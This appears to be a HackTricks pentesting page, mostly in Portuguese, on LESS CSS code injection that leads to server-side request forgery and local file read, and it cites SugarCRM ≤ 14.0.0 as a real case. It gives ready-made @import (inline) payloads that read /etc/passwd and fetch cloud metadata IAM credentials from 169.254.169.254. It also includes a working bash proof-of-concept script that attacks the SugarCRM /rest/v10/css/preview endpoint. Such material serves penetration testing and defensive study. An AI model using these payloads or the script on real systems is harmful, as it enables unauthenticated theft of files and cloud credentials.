LESS Code Injection leading to SSRF & Local File Read
LESS é um popular pré-processador CSS que adiciona variáveis, mixins, funções e a poderosa diretiva @import. Durante a compilação, o engine do LESS buscará os recursos referenciados em declarações @import e incorporará ("inline") seus conteúdos no CSS resultante quando a opção (inline) for usada.
Quando uma aplicação concatena user-controlled input em uma string que é posteriormente parseada pelo LESS compiler, um atacante pode inject arbitrary LESS code. Ao abusar de @import (inline) o atacante pode forçar o servidor a recuperar:
- Arquivos locais via o protocolo 
file://(information disclosure / Local File Inclusion). - Recursos remotos em redes internas ou serviços de metadata de cloud (SSRF).
 
Essa técnica foi observada em produtos do mundo real, como SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview).
Exploração
- Identifique um parâmetro que é incorporado diretamente dentro de uma string de stylesheet processada pelo engine LESS (ex.: 
?lm=no SugarCRM). - Feche a instrução atual e injete novas diretivas. Os primitivos mais comuns são:
 
;– termina a declaração anterior.}– fecha o bloco anterior (se necessário).
- Use 
@import (inline) '<URL>';para ler recursos arbitrários. - Opcionalmente injete um marker (URI 
data:) após o import para facilitar a extração do conteúdo buscado a partir do CSS compilado. 
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
O conteúdo de /etc/passwd aparecerá na resposta HTTP pouco antes do marcador @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatizado (exemplo SugarCRM)
bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Casos Reais
| Produto | Endpoint Vulnerável | Impacto | 
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF não autenticado & leitura de arquivos locais | 
HackTricks